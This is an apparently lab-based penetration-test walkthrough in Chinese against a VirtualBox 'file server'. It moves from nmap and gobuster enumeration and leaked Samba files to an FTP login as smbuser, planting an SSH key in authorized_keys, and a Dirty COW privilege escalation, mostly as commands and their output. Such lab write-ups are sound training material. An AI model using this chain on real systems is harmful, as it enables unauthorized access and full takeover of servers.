19-文件服务渗透

目标：10.30.13.87

###端口

```
nmap -sT -p- --min-rate 8888 10.30.13.87
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-12 06:49 GMT
Nmap scan report for 10.30.13.87
Host is up (0.00030s latency).
Not shown: 64503 filtered tcp ports (no-response), 20 filtered tcp ports (host-unreach), 1004 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
20048/tcp open  mountd

udp没发现有端口
```

###服务和系统

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-12 06:56 GMT
Nmap scan report for 10.30.13.87
Host is up (0.00037s latency).

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.2
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.30.13.70
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
```

```
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    3 0        0              16 Feb 19  2020 pub [NSE: writeable]
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
|   256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_  256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS))
|_http-server-header: Apache/2.4.6 (CentOS)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: My File Server
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      20048/tcp   mountd
|   100005  1,2,3      20048/tcp6  mountd
|   100005  1,2,3      20048/udp   mountd
|   100005  1,2,3      20048/udp6  mountd
|   100021  1,3,4      36103/tcp   nlockmgr
|   100021  1,3,4      46311/udp6  nlockmgr
|   100021  1,3,4      55114/udp   nlockmgr
|   100021  1,3,4      60262/tcp6  nlockmgr
|   100024  1          45380/tcp   status
|   100024  1          48845/udp   status
|   100024  1          56071/tcp6  status
|   100024  1          57336/udp6  status
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
445/tcp   open  netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
```

```
2049/tcp  open  nfs_acl     3 (RPC #100227)
2121/tcp  open  ftp         ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: ERROR
20048/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 08:00:27:42:CE:07 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|2.6.X|4.X|5.X (97%), Synology DiskStation Manager
5.X (95%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.6
cpe:/a:synology:diskstation_manager:5.2 cpe:/o:linux:linux_kernel:4
cpe:/o:linux:linux_kernel:5 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 3.4 - 3.10 (97%), Linux 2.6.32 - 3.10 (97%), Linux 2.6.32
- 3.13 (97%), Linux 2.6.39 (97%), Linux 3.10 (97%), Synology DiskStation Manager 5.2-
5644 (95%), Linux 2.6.32 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 - 3.10 (9
1%), Linux 3.2 - 3.16 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FILESERVER; OS: Unix

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.1)
|   Computer name: localhost
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: localhost
|_  System time: 2024-03-12T12:27:19+05:30
| smb2-time:
|   date: 2024-03-12T06:57:18
|_  start_date: N/A
|_clock-skew: mean: -1h50m00s, deviation: 3h10m29s, median: -2s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

```
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.56 seconds
```

###漏扫结果

```
└──# nmap --script 'vuln' -p21,22,80,111,445,2049,2121,20048 10.30.13.87
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-12 06:58 GMT
Nmap scan report for 10.30.13.87
Host is up (0.00029s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
|_http-trace: TRACE is enabled
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_  /icons/: Potentially interesting folder w/ directory listing
111/tcp   open  rpcbind
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
20048/tcp open  mountd
MAC Address: 08:00:27:42:CE:07 (Oracle VirtualBox virtual NIC)

Host script results:
| smb-vuln-regsvc-dos:
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial
of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This
vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false
```

##指定攻击优先级

目标有两个端口运行tfp程序都支持匿名登录，samba，nfs，之后看80因为nmap漏扫结果80没啥漏洞。

#FTP

这两个匿名登录的tfp服务端口21，2121，都没啥信息也没权限

#samba

```
查看samba 可连接的路径
smbmap -H ip
IP: 10.30.13.87:445 Name: 10.30.13.87                Status: Authenticated
        Disk                                                    Permissions
Comment
        ----                                                    -----------     ------
-
        print$                                                  NO ACCESS
Printer Drivers
        smbdata                                                 READ, WRITE
smbdata
        smbuser                                                 NO ACCESS
smbuser
        IPC$                                                    NO ACCESS       IPC
Service (Samba 4.9.1)
登录samba共享目录
smbclient --no-pass //<IP>/<Folder>

samba下翻找到的信息：
1-secure：找到一个账号密码
pam_unix(passwd:chauthtok): password changed for smbuser
2-sshd_config
目标服务的ssh配置，只允许密钥登录，拒绝密码登录，和密钥存放位置
AuthorizedKeysFile      .ssh/authorized_keys
```

#nfs服务

有挂着目录，但是指定ip才能访问

```
showmount -e 10.30.13.87
Export list for 10.30.13.87:
/smbdata 192.168.56.0/24
```

目录扫描

```
gobuster dir -u "http://10.30.13.87/" -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt -x txt,zip,rar,sql

===============================================================
/readme.txt           (Status: 200) [Size: 25]
```

```
发现一个密码rootroot1
```

##爆破
前面samba下载的ssh服务配置信息，就知道无法用密码连接ssh
用搜集到的账户信息登录ftp和samba试试
#账号密码

```
smbuser：chauthtok
空：rootroot1
```

ftp

```
ftp登录成功，且路径在家目录
该账户登录成功，chauthtok:rootroot1
ftp 10.30.13.87 21
Connected to 10.30.13.87.
220 (vsFTPd 3.0.2)
Name (10.30.13.87:root): smbuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /home/smbuser
```

##立足点
写公钥登录系统

```
我的主机，创建ssh密钥对
ssh-keygen

上传公钥到目标机
已知目标主机的ssh公钥位置在此下，.ssh/authorized_keys
使用账户smbuser登录ftp
midrk.ssh
put re.pub authorized_keys

最后连接
ssh -i re smbuser@10.30.13.87
[smbuser@fileserver ~]$ id
uid=1000(smbuser) gid=1000(smbuser) 组=1000(smbuser)
```

```
[smbuser@fileserver ~]$ whoami
smbuser
```

##提权

```
Linux fileserver 3.10.0

脏牛提权
root@fileserver tmp]# id
uid=0(root) gid=1000(smbuser) groups=0(root),1000(smbuser)
[root@fileserver tmp]# whoami
root
```